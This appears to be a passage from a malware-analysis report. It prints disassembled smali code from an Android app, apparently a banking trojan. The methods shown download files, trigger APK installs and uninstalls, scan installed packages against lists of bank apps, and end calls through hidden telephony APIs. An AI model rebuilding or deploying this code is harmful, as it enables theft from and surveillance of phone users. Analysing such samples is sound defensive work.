| 54 | move-result-object v12 | |
| 56 | invoke-direct {v5, v12}, Ljava/io/File;-><init>(Ljava/lang/String;)V | |
| 57 | try_start_4d: new-instance v11, Ljava/net/URL; | |
| 59 | invoke-direct {v11, p0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V | |
| 60 | try_start_52: | |
| 61 | invoke-virtual {v11}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection; | |
| 62 | move-result-object v1 | |
| 63 | check-cast v1, Ljava/net/HttpURLConnection; | |
| 65 | invoke-virtual {v1}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream; | |
| 66 | move-result-object v8 | |
| 67 | new-instance v7, Ljava/io/FileOutputStream; | |
| 69 | invoke-direct {v7, v5}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V | |
| 70 | const/16 v12, 0x400 | |
| 71 | new-array v0, v12, [B | |
| 73 | invoke-virtual {v1}, Ljava/net/HttpURLConnection;->connect()V | |
| 74 | const-wide/16 v2, 0x0 | |
| 76 | invoke-virtual {v1}, Ljava/net/HttpURLConnection;->getResponseCode()I | |
| 77 | move-result v12 | |
| 78 | const/16 v13, 0x190 | |
| 79 | if-lt v12, v13, :cond_8f | |
| 81 | const-string v12, "time" | |
| 83 | const-string v13, "time exceed" | |
| 85 | invoke-static {v12, v13}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
| 86 | goto_79: | |
| 87 | invoke-virtual {v1}, Ljava/net/HttpURLConnection;->disconnect()V | |
| 89 | invoke-virtual {v7}, Ljava/io/FileOutputStream;->close()V | |
| 91 | invoke-virtual {v8}, Ljava/io/InputStream;->close()V | |
| 92 | goto_82: return-object v5 | |
| 93 | cond_83: if-eqz v8, :cond_79 | |
| 95 | invoke-virtual {v8, v0}, Ljava/io/InputStream;->read([B)I | |
| 96 | move-result v9 | |
| 97 | if-lez v9, :cond_79 | |
| 98 | const/4 v12, 0x0 | |
| 100 | invoke-virtual {v7, v0, v12, v9}, Ljava/io/FileOutputStream;->write([BII)V |
|
| 101 | try_end_8f: const-wide/high16 v12, 0x4059 | |
| 102 | cmpg-double v12, v2, v12 | |
| 103 | if-lez v12, :cond_83 | |
| 104 | goto/16 :goto_79 | |
| 105 | catch_96: move-exception v4 | |
| 106 | try_start_97: | |
| 107 | invoke-virtual {v4}, Ljava/io/IOException;->printStackTrace()V | |
| 108 | try_end_9a: goto/16 :goto_82 | |
| 109 | catch_9b: move-exception v4 | |
| 111 | invoke-virtual {v4}, Ljava/net/MalformedURLException;->printStackTrace()V | |
| 112 | goto/16 :goto_82 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "context" | |
| 1 | .annotation build Landroid/annotation/SuppressLint; | |
| 2 | value = { | |
| 3 | "DefaultLocale" | |
| 4 | } | |
| 5 | .end annotation | |
| 6 | .prologue | |
| 7 | const/4 v2, -0x1 | |
| 9 | const-string v5, "connectivity" | |
| 11 | invoke-virtual {p0, v5}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
| 12 | move-result-object v0 | |
| 13 | check-cast v0, Landroid/net/ConnectivityManager; | |
| 15 | invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo; | |
| 16 | move-result-object v4 | |
| 17 | if-nez v4, :cond_11 | |
| 18 | move v3, v2 | |
| 19 | goto_10: return v3 | |
| 20 | cond_11: | |
| 21 | invoke-virtual {v4}, Landroid/net/NetworkInfo;->getType()I | |
| 22 | move-result v1 | |
| 24 | sget-object v5, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 25 | new-instance v6, Ljava/lang/StringBuilder; | |
| 27 | const-string v7, "networkInfo.getExtraInfo() is " | |
| 29 | invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 31 | invoke-virtual {v4}, Landroid/net/NetworkInfo;->getExtraInfo()Ljava/lang/String; | |
| 32 | move-result-object v7 | |
| 34 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 35 | move-result-object v6 | |
| 37 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 38 | move-result-object v6 | |
| 40 | invoke-virtual {v5, v6}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
| 41 | if-nez v1, :cond_44 | |
| 43 | invoke-virtual {v4}, Landroid/net/NetworkInfo;->getExtraInfo()Ljava/lang/String; | |
| 44 | move-result-object v5 | |
| 46 | invoke-virtual {v5}, Ljava/lang/String;->toLowerCase()Ljava/lang/String; | |
| 47 | move-result-object v5 | |
| 49 | const-string v6, "cmnet" | |
| 51 | invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
| 52 | move-result v5 | |
| 53 | if-eqz v5, :cond_42 | |
| 54 | const/4 v2, 0x3 | |
| 55 | goto_40: move v3, v2 | |
| 56 | goto/16 :goto_10 | |
| 57 | cond_42: const/4 v2, 0x2 | |
| 58 | goto/16 :goto_40 | |
| 59 | cond_44: const/4 v5, 0x1 | |
| 60 | if-ne v1, v5, :cond_40 | |
| 61 | const/4 v2, 0x1 | |
| 62 | goto/16 :goto_40 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "packageName" | |
| 1 | .prologue | |
| 3 | sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 4 | new-instance v3, Ljava/lang/StringBuilder; | |
| 6 | const-string v4, "\u8981\u5378\u8f7d\u7684\u5305 => " | |
| 8 | invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 10 | invoke-virtual {v3, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 11 | move-result-object v3 | |
| 13 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 14 | move-result-object v3 | |
| 16 | invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
| 17 | new-instance v2, Ljava/lang/StringBuilder; | |
| 19 | const-string v3, "package:" | |
| 21 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 23 | invoke-virtual {p0}, Ljava/lang/String;->trim()Ljava/lang/String; | |
| 24 | move-result-object v3 | |
| 26 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 27 | move-result-object v2 | |
| 29 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 30 | move-result-object v2 | |
| 32 | invoke-static {v2}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; | |
| 33 | move-result-object v1 | |
| 34 | new-instance v0, Landroid/content/Intent; | |
| 36 | const-string v2, "android.intent.action.DELETE" | |
| 38 | invoke-direct {v0, v2, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V |
|
| 39 | const/high16 v2, 0x1000 | |
| 41 | invoke-virtual {v0, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent; |
|
| 43 | sget-object v2, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 45 | invoke-virtual {v2, v0}, Lcom/example/adt/CoreService;->startActivity(Landroid/content/Intent;)V | |
| 46 | return-void |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "file" | |
| 1 | .prologue | |
| 3 | const-string v1, "OpenFile" | |
| 5 | invoke-virtual {p0}, Ljava/io/File;->getName()Ljava/lang/String; | |
| 6 | move-result-object v2 | |
| 8 | invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
| 9 | new-instance v0, Landroid/content/Intent; | |
| 11 | invoke-direct {v0}, Landroid/content/Intent;-><init>()V | |
| 12 | const/high16 v1, 0x1000 | |
| 14 | invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
| 16 | const-string v1, "android.intent.action.VIEW" | |
| 18 | invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
| 20 | invoke-static {p0}, Landroid/net/Uri;->fromFile(Ljava/io/File;)Landroid/net/Uri; | |
| 21 | move-result-object v1 | |
| 23 | const-string v2, "application/vnd.android.package-archive" | |
| 25 | invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent; |
|
| 27 | sget-object v1, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 29 | invoke-virtual {v1, v0}, Lcom/example/adt/CoreService;->startActivity(Landroid/content/Intent;)V | |
| 30 | return-void |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 2 | const-string v0, "" | |
| 4 | iget-object v7, p0, Lcom/example/adt/App;->mContext:Landroid/content/Context; | |
| 6 | invoke-virtual {v7}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager; | |
| 7 | move-result-object v4 | |
| 8 | const/4 v7, 0x0 | |
| 10 | invoke-virtual {v4, v7}, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List; |
|
| 11 | move-result-object v2 | |
| 13 | invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator; | |
| 14 | move-result-object v7 | |
| 15 | cond_11: | |
| 16 | invoke-interface {v7}, Ljava/util/Iterator;->hasNext()Z | |
| 17 | move-result v8 | |
| 18 | if-nez v8, :cond_3c | |
| 20 | sget-object v7, Lcom/example/adt/Config;->cBankStr:Ljava/lang/String; | |
| 22 | const-string v8, "" | |
| 24 | invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
| 25 | move-result v7 | |
| 26 | if-nez v7, :cond_29 | |
| 28 | sget-object v7, Lcom/example/adt/Config;->cBankStr:Ljava/lang/String; | |
| 30 | invoke-static {v7}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;)Ljava/lang/String; | |
| 31 | move-result-object v7 | |
| 32 | sput-object v7, Lcom/example/adt/Config;->cBankStr:Ljava/lang/String; | |
| 33 | cond_29: | |
| 34 | sget-object v7, Lcom/example/adt/Config;->sBankStr:Ljava/lang/String; | |
| 36 | const-string v8, "" | |
| 38 | invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
| 39 | move-result v7 | |
| 40 | if-nez v7, :cond_3b | |
| 42 | sget-object v7, Lcom/example/adt/Config;->sBankStr:Ljava/lang/String; | |
| 44 | invoke-static {v7}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;)Ljava/lang/String; | |
| 45 | move-result-object v7 | |
| 46 | sput-object v7, Lcom/example/adt/Config;->sBankStr:Ljava/lang/String; | |
| 47 | cond_3b: return-object v0 | |
| 48 | cond_3c: | |
| 49 | invoke-interface {v7}, Ljava/util/Iterator;->next()Ljava/lang/Object; | |
| 50 | move-result-object v3 | |
| 51 | check-cast v3, Landroid/content/pm/PackageInfo; | |
| 53 | iget-object v8, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
| 54 | iget v8, v8, Landroid/content/pm/ApplicationInfo;->flags:I | |
| 55 | and-int/lit8 v8, v8, 0x1 | |
| 56 | if-nez v8, :cond_11 | |
| 58 | iget-object v8, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
| 59 | iget v8, v8, Landroid/content/pm/ApplicationInfo;->flags:I | |
| 60 | and-int/lit16 v8, v8, 0x80 | |
| 61 | if-nez v8, :cond_11 | |
| 62 | new-instance v8, Ljava/lang/StringBuilder; | |
| 64 | invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 65 | move-result-object v9 | |
| 67 | invoke-direct {v8, v9}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 69 | iget-object v9, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
| 71 | invoke-virtual {v9, v4}, Landroid/content/pm/ApplicationInfo;->loadLabel(Landroid/content/pm/PackageManager;)Ljava/lang/CharSequence; | |
| 72 | move-result-object v9 | |
| 74 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
| 75 | move-result-object v8 | |
| 77 | const-string v9, "#" | |
| 79 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 80 | move-result-object v8 | |
| 82 | iget-object v9, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
| 84 | iget-object v9, v9, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String; | |
| 86 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 87 | move-result-object v8 | |
| 89 | const-string v9, "|" | |
| 91 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 92 | move-result-object v8 | |
| 94 | invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 95 | move-result-object v0 | |
| 96 | const/4 v1, 0x0 | |
| 97 | goto_7e: | |
| 98 | sget-object v8, Lcom/example/adt/Config;->bank:[Ljava/lang/String; | |
| 99 | array-length v8, v8 | |
| 100 | if-ge v1, v8, :cond_11 | |
| 102 | sget-object v8, Lcom/example/adt/Config;->bank:[Ljava/lang/String; | |
| 103 | aget-object v5, v8, v1 | |
| 105 | sget-object v8, Lcom/example/adt/Config;->upbank:[Ljava/lang/String; | |
| 106 | aget-object v6, v8, v1 | |
| 108 | iget-object v8, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
| 110 | iget-object v8, v8, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String; | |
| 112 | invoke-virtual {v5, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
| 113 | move-result v8 | |
| 114 | if-eqz v8, :cond_b4 | |
| 116 | sget-object v8, Lcom/example/adt/Config;->cBankStr:Ljava/lang/String; | |
| 117 | new-instance v9, Ljava/lang/StringBuilder; | |
| 119 | invoke-static {v8}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 120 | move-result-object v8 | |
| 122 | invoke-direct {v9, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 124 | const-string v8, "#" | |
| 126 | invoke-virtual {v9, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 127 | move-result-object v8 | |
| 129 | sget-object v9, Lcom/example/adt/Config;->bankName:[Ljava/lang/String; | |
| 130 | aget-object v9, v9, v1 | |
| 132 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 133 | move-result-object v8 | |
| 135 | invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 136 | move-result-object v8 | |
| 137 | sput-object v8, Lcom/example/adt/Config;->cBankStr:Ljava/lang/String; | |
| 138 | cond_b4: | |
| 139 | iget-object v8, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
| 141 | iget-object v8, v8, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String; | |
| 143 | invoke-virtual {v6, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
| 144 | move-result v8 | |
| 145 | if-eqz v8, :cond_dd | |
| 147 | sget-object v8, Lcom/example/adt/Config;->sBankStr:Ljava/lang/String; | |
| 148 | new-instance v9, Ljava/lang/StringBuilder; | |
| 150 | invoke-static {v8}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 151 | move-result-object v8 | |
| 153 | invoke-direct {v9, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 155 | const-string v8, "#" | |
| 157 | invoke-virtual {v9, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 158 | move-result-object v8 | |
| 160 | sget-object v9, Lcom/example/adt/Config;->bankName:[Ljava/lang/String; | |
| 161 | aget-object v9, v9, v1 | |
| 163 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 164 | move-result-object v8 | |
| 166 | invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 167 | move-result-object v8 | |
| 168 | sput-object v8, Lcom/example/adt/Config;->sBankStr:Ljava/lang/String; | |
| 169 | cond_dd: add-int/lit8 v1, v1, 0x1 | |
| 170 | goto/16 :goto_7e |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "packageName" | |
| 1 | .prologue | |
| 3 | const-string v0, "" | |
| 4 | const/4 v1, 0x0 | |
| 6 | sget-object v5, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 8 | invoke-virtual {v5}, Lcom/example/adt/CoreService;->getPackageManager()Landroid/content/pm/PackageManager; | |
| 9 | move-result-object v4 | |
| 10 | const/4 v5, 0x0 | |
| 12 | invoke-virtual {v4, v5}, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List; |
|
| 13 | move-result-object v2 | |
| 15 | invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator; | |
| 16 | move-result-object v5 | |
| 17 | cond_12: | |
| 18 | invoke-interface {v5}, Ljava/util/Iterator;->hasNext()Z | |
| 19 | move-result v6 | |
| 20 | if-nez v6, :cond_19 | |
| 21 | return v1 | |
| 22 | cond_19: | |
| 23 | invoke-interface {v5}, Ljava/util/Iterator;->next()Ljava/lang/Object; | |
| 24 | move-result-object v3 | |
| 25 | check-cast v3, Landroid/content/pm/PackageInfo; | |
| 27 | iget-object v6, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
| 28 | iget v6, v6, Landroid/content/pm/ApplicationInfo;->flags:I | |
| 29 | and-int/lit8 v6, v6, 0x1 | |
| 30 | if-nez v6, :cond_12 | |
| 32 | iget-object v6, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
| 33 | iget v6, v6, Landroid/content/pm/ApplicationInfo;->flags:I | |
| 34 | and-int/lit16 v6, v6, 0x80 | |
| 35 | if-nez v6, :cond_12 | |
| 36 | new-instance v6, Ljava/lang/StringBuilder; | |
| 38 | invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 39 | move-result-object v7 | |
| 41 | invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 43 | iget-object v7, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
| 45 | invoke-virtual {v7, v4}, Landroid/content/pm/ApplicationInfo;->loadLabel(Landroid/content/pm/PackageManager;)Ljava/lang/CharSequence; | |
| 46 | move-result-object v7 | |
| 48 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
| 49 | move-result-object v6 | |
| 51 | const-string v7, "#" | |
| 53 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 54 | move-result-object v6 | |
| 56 | iget-object v7, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
| 58 | iget-object v7, v7, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String; | |
| 60 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 61 | move-result-object v6 | |
| 63 | const-string v7, "|" | |
| 65 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 66 | move-result-object v6 | |
| 68 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 69 | move-result-object v0 | |
| 71 | iget-object v6, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
| 73 | iget-object v6, v6, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String; | |
| 75 | invoke-virtual {p0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
| 76 | move-result v6 | |
| 77 | if-eqz v6, :cond_12 | |
| 78 | const/4 v1, 0x1 | |
| 79 | goto/16 :goto_12 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 2 | sget-object v4, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 4 | const-string v5, "phone" | |
| 6 | invoke-virtual {v4, v5}, Lcom/example/adt/CoreService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
| 7 | move-result-object v3 | |
| 8 | check-cast v3, Landroid/telephony/TelephonyManager; | |
| 9 | const-class v0, Landroid/telephony/TelephonyManager; | |
| 10 | const/4 v2, 0x0 | |
| 11 | try_start_d: | |
| 12 | const-string v4, "getITelephony" | |
| 13 | const/4 v5, 0x0 | |
| 15 | invoke-virtual {v0, v4, v5}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method; |
|
| 16 | move-result-object v2 | |
| 17 | const/4 v4, 0x1 | |
| 19 | invoke-virtual {v2, v4}, Ljava/lang/reflect/Method;->setAccessible(Z)V |
|
| 20 | const/4 v4, 0x0 | |
| 22 | invoke-virtual {v2, v3, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; |
|
| 23 | move-result-object v1 | |
| 24 | check-cast v1, Lcom/android/internal/telephony/ITelephony; | |
| 26 | invoke-interface {v1}, Lcom/android/internal/telephony/ITelephony;->endCall()Z | |
| 27 | goto_22: return-void | |
| 28 | catch_23: move-exception v4 | |
| 29 | goto/16 :goto_22 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
| 3 | const/16 v0, 0x1000 | |
| 4 | iput v0, p0, Lcom/example/adt/FileUtils;->FILESIZE:I | |
| 5 | new-instance v0, Ljava/lang/StringBuilder; | |
| 7 | invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V | |
| 9 | invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File; | |
| 10 | move-result-object v1 | |
| 12 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
| 13 | move-result-object v0 | |
| 15 | const-string v1, "/" | |
| 17 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 18 | move-result-object v0 | |
| 20 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 21 | move-result-object v0 | |
| 22 | iput-object v0, p0, Lcom/example/adt/FileUtils;->SDPATH:Ljava/lang/String; | |
| 23 | return-void |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 2 | invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File; | |
| 3 | move-result-object v0 | |
| 4 | new-instance v1, Ljava/lang/StringBuilder; | |
| 6 | invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String; | |
| 7 | move-result-object v2 | |
| 9 | invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 10 | move-result-object v2 | |
| 12 | invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 14 | const-string v2, "/conf.ini" | |
| 16 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 17 | move-result-object v1 | |
| 19 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 20 | move-result-object v1 | |
| 21 | return-object v1 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 1 | const/4 v1, 0x0 | |
| 3 | const-string v2, "connectivity" | |
| 5 | invoke-virtual {p0, v2}, Lcom/example/adt/CoreService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
| 6 | move-result-object v0 | |
| 7 | check-cast v0, Landroid/net/ConnectivityManager; | |
| 9 | invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo; | |
| 11 | invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo; | |
| 12 | move-result-object v2 | |
| 13 | if-eqz v2, :cond_1a | |
| 15 | invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo; | |
| 16 | move-result-object v2 | |
| 18 | invoke-virtual {v2}, Landroid/net/NetworkInfo;->isAvailable()Z | |
| 19 | move-result v1 | |
| 20 | cond_1a: return v1 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "context" | |
| 1 | .prologue | |
| 2 | if-eqz p0, :cond_15 | |
| 4 | const-string v2, "connectivity" | |
| 6 | invoke-virtual {p0, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
| 7 | move-result-object v0 | |
| 8 | check-cast v0, Landroid/net/ConnectivityManager; | |
| 10 | invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo; | |
| 11 | move-result-object v1 | |
| 12 | if-eqz v1, :cond_15 | |
| 14 | invoke-virtual {v1}, Landroid/net/NetworkInfo;->isAvailable()Z | |
| 15 | move-result v2 | |
| 16 | goto_14: return v2 | |
| 17 | cond_15: const/4 v2, 0x0 | |
| 18 | goto/16 :goto_14 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 1 | const/4 v1, 0x0 | |
| 3 | invoke-static {}, Landroid/os/Environment;->getExternalStorageState()Ljava/lang/String; | |
| 4 | move-result-object v2 | |
| 6 | const-string v3, "mounted" | |
| 8 | invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
| 9 | move-result v0 | |
| 10 | if-eqz v0, :cond_11 | |
| 12 | invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File; | |
| 13 | move-result-object v1 | |
| 14 | cond_11: | |
| 15 | invoke-virtual {v1}, Ljava/io/File;->toString()Ljava/lang/String; | |
| 16 | move-result-object v2 | |
| 17 | return-object v2 |
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "urlStr" | |
| 1 | .prologue | |
| 2 | new-instance v4, Ljava/lang/StringBuffer; | |
| 4 | invoke-direct {v4}, Ljava/lang/StringBuffer;-><init>()V | |
| 5 | const/4 v3, 0x0 | |
| 6 | const/4 v0, 0x0 | |
| 7 | try_start_7: new-instance v6, Ljava/net/URL; | |
| 9 | invoke-direct {v6, p1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V | |
| 10 | iput-object v6, p0, Lcom/example/adt/HttpDownloader;->url:Ljava/net/URL; | |
| 12 | iget-object v6, p0, Lcom/example/adt/HttpDownloader;->url:Ljava/net/URL; | |
| 14 | invoke-virtual {v6}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection; | |
| 15 | move-result-object v5 | |
| 16 | check-cast v5, Ljava/net/HttpURLConnection; | |
| 17 | new-instance v1, Ljava/io/BufferedReader; | |
| 18 | new-instance v6, Ljava/io/InputStreamReader; | |
| 20 | invoke-virtual {v5}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream; | |
| 21 | move-result-object v7 | |
| 23 | invoke-direct {v6, v7}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V | |
| 25 | invoke-direct {v1, v6}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V | |
| 26 | goto_24: | |
| 27 | invoke-virtual {v1}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String; | |
| 28 | try_end_27: move-result-object v3 | |
| 29 | if-nez v3, :cond_33 | |
| 30 | try_start_2a: | |
| 31 | invoke-virtual {v1}, Ljava/io/BufferedReader;->close()V | |
| 32 | try_end_2d: move-object v0, v1 | |
| 33 | goto_2e: | |
| 34 | invoke-virtual {v4}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String; | |
| 35 | move-result-object v6 | |
| 36 | return-object v6 | |
| 37 | cond_33: | |
| 38 | invoke-virtual {v4, v3}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer; | |
| 39 | try_end_36: goto/16 :goto_24 | |
| 40 | catch_37: move-exception v2 | |
| 41 | move-object v0, v1 | |
| 42 | goto_39: | |
